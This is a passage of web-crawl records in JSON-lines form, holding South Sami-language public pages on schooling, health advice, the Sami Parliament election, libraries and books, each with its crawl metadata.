nïekedassem fulkedh jis dam sæjhta.\n– Datne aalkeme daejredh man sisnie sïjhth spesialiseeremem vaeltedh?\n– Nov gujht leam dam dorjeme, men seamma tïjjen im sïjhth dabranidh aktene vihties otnjegisnie joe daelie. Geajnoe sjædta gosse vaadtsa, vihtieslaakan jeahta.\n– Raaktan daelie stööremes lastoem åtnam anestesijese, pediatrijese jïh sïejhmemedisijnese. Men daate maahta varke jorkesidh.\nReservesoejkesjem utni\nAnnje ij leah fuehpie goske tjuara veeljedh, jalhts guhkiem mænngan dïhte eajhnadovvi medisijnem lohkedh.\nJoe åktsadinie klaassesne eelki ulmien vööste jïh tjarke barkedh. Dejnie jåerhkieji darjodh jåarhkeskuvlesne. Daate altese raerieh dejtie mah dåakterebarkoen bïjre nïekedieh.\n– Men maanabaelien jïjnjh joekehts barkoej bïjre nïekedim. Akten boelhken åssjaldahkine stååkedim girtiegåassoehtæjjine sjïdtedh, ånnetji föörhkede.\nLohkh aaj: Sportsjournalisten\n– Guktie jis naakenh dam luhkieh jïh sijhtieh dåaktarinie sjïdtedh, tjuerieh mujhtedh gellie jeatjah gieltegs nuepieh gååvnesieh jis ij sïjse båetieh medisijnese.\nJïjtje eajhnadovvi lohkehtæjjine jallh skïemtjesåjhterinie sjïdtedh jis ij lij sïjse båateme medisijnestudijasse.\nDejtie mah sïjse båetieh, sæjhta dam jiehtedh:\n– Barkede jïebnelaakan jïh eadtjohkelaakan. Aellede vuertede goske tjoerede pradtjedh! Manne naakenh damtem mah dam dorjeme jïh eah leah eksamenem stååresjamme. Jïh dle vihkele dovne dam fysiske jïh psykiske healsoem vaarjelidh.\n– Jïh naakede mij eevre seekere lea, ij gåessie gih gaervies dåaktarinie sjïdth. Iktesth maam akt leara. Vihkele faepeles årrodh jïh jijsie gaertjiedimmieh damtedh.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/ungdomsmagasin.no\/skuvlebienghkeste-skiemtjegaetiebarkose\/","date":"2021-06-13T01:36:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487598213.5\/warc\/CC-MAIN-20210613012009-20210613042009-00578.warc.gz","language":"sma","language_score":0.9999995232,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999995231628418}","num_words":726,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuelieh jïh tjïhtesh\nGaebpien Leena \/ Lena Kappfjell\n3 voernges åarjelsaemien vaajestæjjah Vuelieh jïh tjïhtesh lea eatnoelohkemen tjïelkestimmiem golme voernges åarjelsaemien vaajestimmi muhteste. Gaebpien Gåstan jïh Ella Holm Bullen tjïhtesegærjah, jïh Nils Mattias Anderssonen vuelie mij lea raaktan klassikerine sjædteme saemien lidteratuvresne. Tjïelkestimmien åejvieaamhtese lea gïehtjedidh identitete, jïjtjeboejhkehtse jïh jïjtjetjåånehtimmie daejnie teekstine. Åarjelsaemien gïele- jïh kultuvremaahtoe lea vihkeles bieliem daennie geatskanimmesne, mohte eatnoelohkemisnie fassede vijrebe jïh dïevesåbpoe tjïelkestimmiem vedtedh, dovne kultuvren jïh lidteratuvren muhteste. Gaebpien Leena lea saemien lidteratuvren stipentiate Romssan universitetesne.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.gavpi.org\/cl-sami-academica\/85-vuelieh-jih-tjihtesh.html","date":"2021-06-18T07:48:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487635920.39\/warc\/CC-MAIN-20210618073932-20210618103932-00386.warc.gz","language":"sma","language_score":0.9999577999,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.999957799911499}","num_words":80,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte politihkeles ulmie lea aktem jielije laanteburriem tjåadtjoehtidh abpe laantem. Fylhkenålma edtja viehkiehtidh dam nasjovnaale laanteburriepolitihkem tjïrrehtidh, viehkine bïevnesijstie, reereme tsavtshvierhtijste jïh voenges sjïehtedamme råajvarimmijste. Fylhkenålma edtja gaskem jeatjah\n- raerieh jïh viehkiem vedtedh tjïeltide\n- tjïeltide gïehtjedidh\n- klååkoeh gïetedidh tjïelten nænnoestimmine laanteburrielaaki sisnjeli\n- jeatjah regijovnale etaatigujmie jïh siebriejgujmie ektine barkedh juktie jielemem evtiedidh jåartaburrien jïh skåajjeburrien sisnjeli\n- viehkiehtidh nasjovnaale ulmieh jaksedh juktie ekologeles laantebårran jarkelidh\n- giehpiedimmiem gaertjiedidh ientjijste jïh sjïdtedehteles jåarteste jïh skåajjeste\nFylhkenålma aaj tjïelth, siebrieh, jielemeaktöörh jïh båantah bïhkede dej nuepiej bïjre mah byögkeles öörnegisnie gååvnesieh. Fylhkenålma darjomh dåarjede mah leah ektiedamme evtiedæmman jïh vaarjelæmman regijovnale beapmoekultuvrijste, daajroebïgkeme beapmoen bïjre jïh daajroe beapmoen jïh healsoen bïjre, joekoen maanaj jïh noeri vööste.\nJeatjah vihkeles byögkeles aktöörh laanteburrien sisnjelen leah\n- Laanteburrie- jïh beapmoedepartemeente\n- Staaten laanteburriereereme\n- Innovasjovne Nöörje\n- Beapmoevaaksjome","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.statsforvalteren.no\/sma\/Oslo-jih-Akershusen\/Laanteburrie-jih-beapmoe\/","date":"2021-06-22T01:05:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488504969.64\/warc\/CC-MAIN-20210622002655-20210622032655-00473.warc.gz","language":"sma","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"sma_Latn_score\": 0.9999985694885254}","num_words":127,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 23 november 2020\nSaemiedigkie\nSaemiedigkie dovne staateles reereme jïh saemien parlamente. Veeljeme Saemiedægkan lea fïerhten njealjeden jaepien gåalmeden aejlegen suehpeden.\nSaemiedigkie Sveerjesne dovne staateles reereme dïenesjebarkijigujmie jïh åålmegeveeljeme saemien parlameente åålmegeveeljeme lïhtsegigujmie.\nSaemiedigkie jaepien 1993 tseegkesovvi edtja sveerjen saemiej nuepieh buaranidh dej kultuvrem gorredidh jïh evtiedidh.\nVeeljeme Saemiedægkan\nVeeljeme Saemiedægkan fïerhten njealjeden jaepien gåalmeden aejlegen suehpeden öörnie. Dellie 31 lïhtsegh jïh dej sæjjasadtjh veeljesuvvieh, mah saemide parlamentesne tjirkieh.\nGaajhkh saemieh gïeh veeljemelåhkose tjeelin jïh meatan veeljemelåhkosne maehtieh tjaatsestidh veeljemisnie Saemiedægkan.\nGolme reeremh veeljemem gïetedieh\nDïedte veeljemem Saemiedægkan tjïrrehtidh lea juakeme golme reeremidie:\nSaemiedigkien veeljememoenehtse\nSaemiedigkien veeljememoenehtsen dïedte gaskem jeatjah tjaatsestimmielåhkoem tseegkedh jïh veeljemesijjieh jïh tjaatsestimmiedåastojh öörnedh.\nLeeneståvroe Norrbottenen leenesne\nLeeneståvroe Norrbottenen leenesne minngemes tjaatsestimmieryöknemem tjïrrehte, jïh lïhtsegidie jïh sæjjasadtjh muana jïh nænnoste jis naan klååkemh båetieh dan annjebodts tjaatsestimmielåhkoen bïjre.\nVeeljemereereme\nVeeljemereereme bijjemes dïedtem åtna veeljemen åvteste jïh seedtie gaskem jeatjah tjaatsestimmiekåarhth, tjaalasåvva dåehkieh, partijh jïh plearoeh aktanimmieh jïh dej kandidaath, jïh aaj veeljemesïetelh dorje.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.val.se\/val-och-folkomrostningar\/saemiedigkie-sydsamiska\/saemiedigkie.html","date":"2021-06-16T02:12:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487621699.22\/warc\/CC-MAIN-20210616001810-20210616031810-00114.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":152,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Besök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nIj leah aelhkie jïjtje vuarjasjidh man skïemtjes leah. Eah leah gaajhkh skïemtjelassh jallh vaejvieh mah skïemtjehoksem krievieh. Naan aejkien maahtah jïjtje gåetesne daam gïetedidh.\nDatne 40, 50 jallh 60 jaepien båeries daan jaepien? Dellie datne faalenassem åadtjoeh healsoegoerehtimmiem darjodh healsoesoptestalleminie dov healsoejarngesne jallh skïemtjegåetesne.\nSohte vijrusistie båata jïh dan aelhkies laaneste. Sohtevijruse Sveerjese fïerhten jaepien båata jïh daamhtaj daelvien. Vijruse aelmien tjïrrh laaneste jïh seejh voestes iereste jis naaken lea skïemtje, gossehte jallh gasjna. Jis sohtem åadtjoeh dellie daamhtaj vaejlie, åejjieh saejriedieh, åedtjieh bååktjedh, tjeapohke saejrede jïh gossehte. Maahtah sohten vööste vaarjelidh jis vaksineeredh.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/","date":"2021-06-18T09:52:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487635920.39\/warc\/CC-MAIN-20210618073932-20210618103932-00289.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":102,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanaj voestes gïele (sydsamiska)\nVoestes gïelem lïeredh lea vihkeles jïh gieltegs deahpadimmie jieliedisnie. Lohkedh, laavlodh jïh stååkedidh baakoejgujmie hijven vuekie åådtje gïelem sjïdtede jïh dan aareh gïeline aalka stååkedidh dan buerebe-ligke. Daesnie Bibblo.se datne raerieh gaavnh gærjide mah maanam skreejrieh dan bæjjanimmien mietie.\nGærjavadtese dov aadtjen reakasovveme maanese\nGærjagåetieh Norrbottenisnie sijhtieh dutnjien jïh dov aadtjen reakasovveme maanese sjïere gærjam vedtedh. Hævvi nuepie gååvnese gærjam veeljedh gærjijste jeatjah gïeline enn sveerjen gïelesne.\nPahke gïeline\nVihkeles mijjen gïelh båetije boelvese vedtedh. Dan gaavhtan maehteden datne jïh dov maana gïelepahkem namhtah åadtjodh viehkine baalkesne. Gïelepahkh gååvnesieh såevmiegïelesne, meänkielisne, julev-, noerhte- jallh åarjelsaemien. Båetieh gærjagåatan mijjieh jienebh soptsestibie.\nSijjie gusnie maanah lierieh jïh stååkedieh\nGærjagåetesne gærjah gååvnesieh jïh jeatjah lustes darjomh onne jïh stuerebe maanide. Håhkesjibie datne jïh dov maana sïjhteden mijjiem daamhtaj gåassodh. Båetieh daesnie årrodh bodtesne gusnie raeffies jïh tryjjes, jallh mubpieh maanah jïh geerve almetjh gaavnedidh. Mijjieh faalebe gellie darjomh jïh öörnemh onne maanide. Sïjhth daejredh maam deahpede? Gïehtjh mijjen biejjielåhkose daesnie Bibblo.se:esne.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.bibblo.se\/barnens-f%C3%B6rsta-spr%C3%A5k-sydsamiska","date":"2021-06-18T14:10:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487637721.34\/warc\/CC-MAIN-20210618134943-20210618164943-00105.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":162,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sáminuoarran gellie ovmessie darjomh mejtie dåeriedieh maam mijjen lihtsegh tuhtjieh vihkeles. Sáminuorran siebrietjåanghkoe, mij lea organisasjovnen jillemes åårgane fïerhten jaepien deklarasjovnem mierede mij soptseste mejnie akt dah lihtsegh tuhtjieh Sáminurra edtja barkedh.\nSáminuorran leah vïjhte regijovneles goevtesh mah lihtsegi lïhke berkieh jïh mah fïerhten jaepien tjåanghkoeh jïh öörnegh utnieh. Dan regijovneles goevtesh lokaale gaavnedimmiesijjieh saemien noeride skaepiedieh jïh berkieh gyhtjelassigujmie mah vihkeles lihtsegidie fïerhtene regijovnesne. Daesnie buerie nuepieh öörnegh tseegkedh, dovne stoerre jïh smaave.\nSáminuorra aaj politihkeles barka gyhtjelassigujmie mah saemien noeride jïh dej båetije biejjide dijpieh. Mijjieh sïjhtebe digkiedimmiem skaepiedidh dan tjirrh vååjnedh jïh govledh, dovne saemien siebriedahken sjisjnjelen jïh ålkolen. Destie båata mijjieh vihties aatide darjobe, tjaaleginie digkedeminie meedijisnie bene aaj ahte manifestasjovnijne meatan jah aaj dagkerh öörnebe, rïektesh byjjesfaamojde jïh gaskenasjovnelle åårganide seedtebe, laavenjostem jeatjah aalkoealmetjigujmie utnebe jïh meatan libie gaajhkene lehkesne gusnie maehtebe tsevtsedh.\nSáminuorra aaj gellie prosjekth evtede. Lohkh vielie dej bïjre bielesne \"Prosjekte\".","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.saminuorra.org\/maam-saminuorra-dorje\/","date":"2021-06-15T00:48:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487614006.8\/warc\/CC-MAIN-20210614232115-20210615022115-00089.warc.gz","language":"sma","language_score":0.9999246597,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999246597290039}","num_words":149,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvle\nHijven daejredh\nOrrestaaren tjïelte lea såevmien jïh saemien reeremedajvesne. Dehtie sjïekeste maanah gïeh aktem dejstie nasjonaale unnebelåhkosne reaktam utnieh aarhskuvlese abpe jallh biehkine unnebelåhkoegïeline. Tjaelieh dov vaajtelimmiem gosse aarhskuvlem ohtsh. Datne ohtsh goerine jïh e-dïenesjinie sveerjengïelesne.\nOrrestaaresne 47 tjïelten aarhskuvlh jïh 10 frijje aarhskuvlh mah aktegs åejvijste gïetede jïh tjïelte dej åvteste maaksa. Seamma saaht mij aarhskuvlide dov maana edtja årrodh, daarpesjh aarhskuvlesijjiem ohtsedh seejnemes njieljie askh åvteli vaajtelamme sijsskuvledaatoe.\nAarhskuvlesne maanah lierieh aarkebiejjien darjoeminie, stååkedimmine jïh skaepiedihks dahkojne. Darjomh, barkoevuekieh, byjrese jïh materijaalh maanaj daerpiesvoeti mietie sjïehtedieh.\nAarhskuvlh learoesijjiem Vklass nuhtjieh gusnie tjaalasuvvieh jïh gaskesedtieh gåessie maanah aarhskuvlesne vuj eah leah desnie. Desnie aaj jeatjah bïevnesh aarhskuvleste åelide seedtieh, vuesiehtimmieh saernieprievieh jïh bööremh eejhtegetjåanghkose. Tjïelten maadthskuvlh aaj Vklassem nuhtjieh.\nBeapmoeh aarhskuvlesne skuvlebeapmoesïetelisnie tjaelieh.\nMaanasåjhtoe iehkiedisnie, jïjjesne jïh hïeljesne\nMaanasåjhtoe iehkiedisnie, jïjjesne jïh hïeljesne lea maanasåjhtoe tïjjine gåessie dah sïejme aarhskuvle- jïh eejehtshïejmh leah gaptjeme. Daan biejjien sijjieh gååvnesieh abpedygne-goevtesisnie Solägget 24 Fröjan aarhskuvlesne.\nDatne tjoerh vihtiestimmiem barkoevedtiejistie seedtedh jïh aaj maanan soejkesjetïjjh ohtsemisnie maanasåjhtoen bïjre iehkiedisnie, jïjjesne jïh hïeljesne.\nJis datne sïjhth aarhskuvlesijjiem ohtsedh biejjine jïh aaj ohtsedh maanasåjhtoem iehkiedisnie, jïjjesne jïh hïeljesne, dellie dam darjoeh göökte ovmessie ohtseminie.\nDatne ohtsemem seedth seejnemes 4 askh åvteli sïjhth aelkedh. Jis sïjhth sijjiem mïetsken dellie edtjh ohtsedh seejnemes njoktjen - voerhtjen.\nRæhpas aarhskuvle\nDïhte fuelhkiejarngem gååvnese Orre staaresne. Dan nomme Fröja fuelhkiejarnge. Fuelhkiejarngesne ræhpas aarhskuvle, tsegkietnie jïh maanahealsoehokse (BHV)-skïemtjesåjhtere jïh aaj raeriestimmieh jïh dåarjoe sosijaaledïenesjistie.\nFuelhkiejarnge lea gaavnedimmiesijjie dutnjien gie maanah aalterisnie 0-6 jaepieh åtna jallh lea vuertiemisnie. Fuelhkiejarnge lea ræhpas gaajhkh fuelhkide. Dïhte namhtah.\nRæhpas aarhskuvlesne aarhskuvlelohkehtæjjah berkieh. Diekie maehtede båetedh stååkedidh, lïeredh, dåarjoem åadtjodh eejhtegevoetesne jïh jeatjah fuelhkieh gaavnedidh.\nRæhpas aarhskuvlesne gååvnesieh soejkesjamme darjomh mah jïjtjevyljehke meatan årrodh, vuesiehtimmien gaavhtan laavlomeboelhkh. Dijjieh båetede jïh vuelkede guktie sïjhtede ræhpastïjji mietie, idie daarpesjh bïeljelidh jis båetede. Datne dïedtem åtna dov maanan gaavhtan gosse ræhpas aarhskuvlesne.\nGaskesadteme\nGaskesadtemejarnge ajve daaroste\nGaskesadtemejarnge\nTelefovne: 0660-880 00\nRæhpastïjjh telefovne: 07:30–17:00 helgfria vardagar (15 maj–15 september 07:30–16:15)\nE-påaste: email@example.com\nGåassoehtimmieadressh\nGåassoehtimmiejarnge staaregåetie Kronan: Järnvägsgatan 6, entréplan\nRæhpastïjjh gåassoehtimmiejarnge Kronan: 07:45–17:00 gaajhkh hïeljehts aarkebiejjieh (suehpeden 15.b.– skïereden 15.b. 07:45–16:15)\nDåastove staaregåetie Nygatan: Nygatan 16, plan 1\nRæhpastïjjh dåastove Nygatan: 07:45–16:30 gaajhkh hïeljehts aarkebiejjieh, beapmoegaptjeme 11:30–12:30 (suehpeden 15.b. – skïereden 15.b. (07:45–15:45)","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.ornskoldsvik.se\/aarjelsaemiengiele\/aarhskuvle","date":"2021-06-19T09:42:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487647232.60\/warc\/CC-MAIN-20210619081502-20210619111502-00409.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":345,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkenålman laavenjassh\nFylhkenålman lea dïedte ihke eksamene maadthskuvlesne jïh jåarhkeskuvlesne, nasjovnaale pryövenassh jïh obligatovreles elektrovneles goerehtallemepryövenassh dorjesuvvieh sïejhme laaki jïh bïhkedassi mietie.\nFylhkenålma fylhkentjïelten, tjïelten jïh privaate skuvleaajhteridie bïhkede ööhpehtimmielaaken jïh privaateskuvlelaaken mietie. Fylhkenålma edtja aaj vaaksjodh skuvleaajhterh skuvlem reerie sïejhme laaki jïh mieriedimmiej mietie.\nFylhkenålma klååkoeh gïetede aktegsnænnoestimmide nænnoestimmiej mietie ööhpehtimmielaakesne jïh privaateskuvlelaakesne, baalte mieriedimmiejgujmie. Jis sïjhth aktem aktegsnænnoestimmiem laejhtedh , edtjh dam voestegh seedtedh dan suarkan mij nænnoestimmiem dorjeme. Dastegh daate suerkie ij klååkoem mietieh, jallh ij aamhtesem hiejhth, edtja dam Fylhkenålmese seedtedh akten minngemosth gïetedæmman.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.statsforvalteren.no\/sma\/Hordalaanten\/Maanagierte-jih-lierehtimmie\/Maadthskuvle-jih-jaarhkeskuvle\/","date":"2021-06-22T01:29:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488504969.64\/warc\/CC-MAIN-20210622002655-20210622032655-00049.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":87,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Årromesijjem voeresalmetjidie, boende för äldre\nVoeresårromesijjem akten årromesijjem dutnjien mij stoerre hoksedaerpiesvoeth abpe dygnesne åtnah. Datne jïjtjedh årromesijjesne årroeh jih jaksoesvoetem dej ektievoeten tjiehtelidie åtnah. Barkijh abpe dygnesne gååvnese. Syökemem voeresårromesäjjan datne viehkiegïetedallijen luvnie darjoen biståndshandläggare.\nÅrromebyjresem galka salutogent jih rehabiliteeremes arrijh, gumhtie ahte ulmievoete, daajedimmiem, goerkesimmiem jih gïetedimmiem gelkieh byögkeles aajnen biejjesne arrijh. Dïhte aajne almetje galka jearsoesvoetem damtedh jih akten ulmiedieves biejjh utnedh gosse sjïere årromesijjesne lea. Barkoem galka vaarjelidh aajnen jïjtereeremem, integriteete jih jearsoesvoetem. Dïedtem lea sjïere, buerie dåastoehtämman jih ahte daepiem seahkere lea. Vierhtiedimmievåaromem lea destie ahte almetjh seamma vyörtegs leah jih elliesvoeteste, seahkarimmeste jih eadtjoestimmeste vååjnoes.\nVoeresårromesijjem\nDalsätra, Myrviken\nTallgläntan, Hackås\nTreklövern, Åsarna\nÖstgärde, Rätan\nJeatjah barkije\nMyltblomman, Svenstavik\nÅenehksårromem\nÅenehkstijjeårromem maahta laevehtidh dutnjien mij lïhkesadtjijste såjhtoen jallh daerpiesvoeth åtnah vååksjedimmeste jih hokseste, akten gaertjiedimmie tijjem. Syökemem åenehkstijjeårromasse datne viehkiegïetedallijasse darjoen. Bergsgården, Svenstavik.\nDemenseårromesijjem.\nDemenseårromesijjem ij gåeredh faaledh.\nUppdaterad:","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.berg.se\/kommunochpolitik\/samisktforvaltningsomrade\/sidorpasamiska\/hokseviehkiejihsajhtoeomsorghjalpochvard\/arromesijjemvoeresalmetjidieboendeforaldre.4.2a948e2414c4aa4dd9a20639.html","date":"2021-07-28T15:59:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153739.28\/warc\/CC-MAIN-20210728154442-20210728184442-00238.warc.gz","language":"sma","language_score":0.9999616146,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999616146087646}","num_words":144,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saaran Gærja\nSiri Broch Johansen\nAehtjebe lea Saarese soptsestamme båeries-skodtjen bijre mij Laaran- baektesne årroeminie.\n11 jaepien båeries Saara lea sjiere laakan Baektien–Laarese veadtaldihkie.\nSaaran gærja lea rovmaane maanide jih noeride. Daesnie åadtjoeh dåeriedidh altese gieltegs veartanasse. Saara joekoen hujnese sjædta goh aehtjebe altese govsem leeki. Dihte Saaran bøøremes voelpetje jih govsen nomme Naestie. Njiekedimmesne åådtje daejredh maam darjodh.\nGærja lea Siri Broch Johansenen voestes gærja maanide jih noeride. Aerebi leah tjihtsh jih novellh tjaaleme ovmese plaeride. Stuhtjetjem lea aaj teaterasse tjaaleme jih aaj learoegærjam. Maahtah aaj daam gærjam goltelidh goh tjoejenassegærja.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.gavpi.org\/for-barn-pa-sorsamisk\/154-saaran-gaerja.html","date":"2021-08-05T20:48:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00455.warc.gz","language":"sma","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"sma_Latn_score\": 0.9999980926513672}","num_words":91,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dennie tjaalegisnie maahtah lohkedh guktie lea depresjovnem utnedh. Datne åadtjoeh daejredh gusnie edtjh hoksem ohtsedidh. Åadtjoeh aaj raerieh maam jïjtje maahtah darjodh jis datne deprimeredh.\nGaskesadth hoksejarngem jallh psykiatrijen ræhpashokse-dåastoehtimmiem jis vïenhth datne jallh gïe akt mubpie depresjovnem åtna. Daesnie maahtah hoksem gaavnedh (hitta vård). Gellie dåastoehtimmieh maahtah gaskesadtedh dan loggedh sïjse (logga in) .\nRingkh telefovnenummerem 1177 jis viehkiem sïjhth gusnie maahtah hoksem ohtsedidh. Dah gïeh vaestiedieh leah skïemtjesåjhterh. Maahtah daaroestidh jallh englaanten gïelem soptsestidh.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.1177.se\/sma-se\/Gavleborg\/other-languages\/other-languages\/ma-daligt---andra-sprak\/depression---andra-sprak\/","date":"2021-07-29T05:21:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153816.3\/warc\/CC-MAIN-20210729043158-20210729073158-00671.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":74,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Besök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nCovid-19 lea laanestimmien skïemtjelasse. Vaksinasjovne lea bööremes vuekieh heerredidh guktie ij itjmies skiemtjine sjïdth vuj skïemtjelasseste jaemedh. Vaksinasjovne aaj viehkine orre guktie geerjehtimmiem covid-19:ste sïebredahkesne vaeniedidh. Dan gaavhtan dïhte dan vihkeles gellie almetjh vaksinasjovnem veeljieh.\nDaarpesje teestem Guktie daajra jis dov skïemtjelasse covid-19. Teeste seamma goh pryövenasse. Vedtieh pryövenassem jis symptomh åtnah.\nCovid-19 vijrusistie jeanatjommesh gïeh covid-19:m åadtjoeh skïemtjedieh goh sovhtine. Mubpieh itjmies skiemtjine sjidtieh jïh hoksem skïemtjegåetesne daarpesjieh.\nDaesnie raerieh dutnjien gie skïemtjelassem covid-19 åtnah. Raerieh dutnjien gie maahtah gåetesne årrodh jïh ih hoksem skïemtjegåetesne daarpesjh.\nBïeljelh hoksem jïh vïerrebe skïemtjedh.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.1177.se\/sma-se\/Gavleborg\/other-languages\/other-languages\/covid-19\/","date":"2021-07-29T21:43:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153897.89\/warc\/CC-MAIN-20210729203133-20210729233133-00068.warc.gz","language":"sma","language_score":0.9999819994,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"sma_Latn_score\": 0.9999819993972778}","num_words":103,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Gaski, Harald Solbakk, John Trygve Bertije ČálliidLágádus Vaadtasovvemejaepie 2002 Faage Saemien 1 Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele ISBN 8292044027 Formaate Sïejhme gærja Reakta-aajhtere ČálliidLágádus Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 232 Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Meedije Politihke Saemiengïele Gïelehistovrije","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/ovttas.no\/sma\/node\/9521","date":"2021-07-26T14:31:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152129.33\/warc\/CC-MAIN-20210726120442-20210726150442-00183.warc.gz","language":"sma","language_score":0.990743041,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 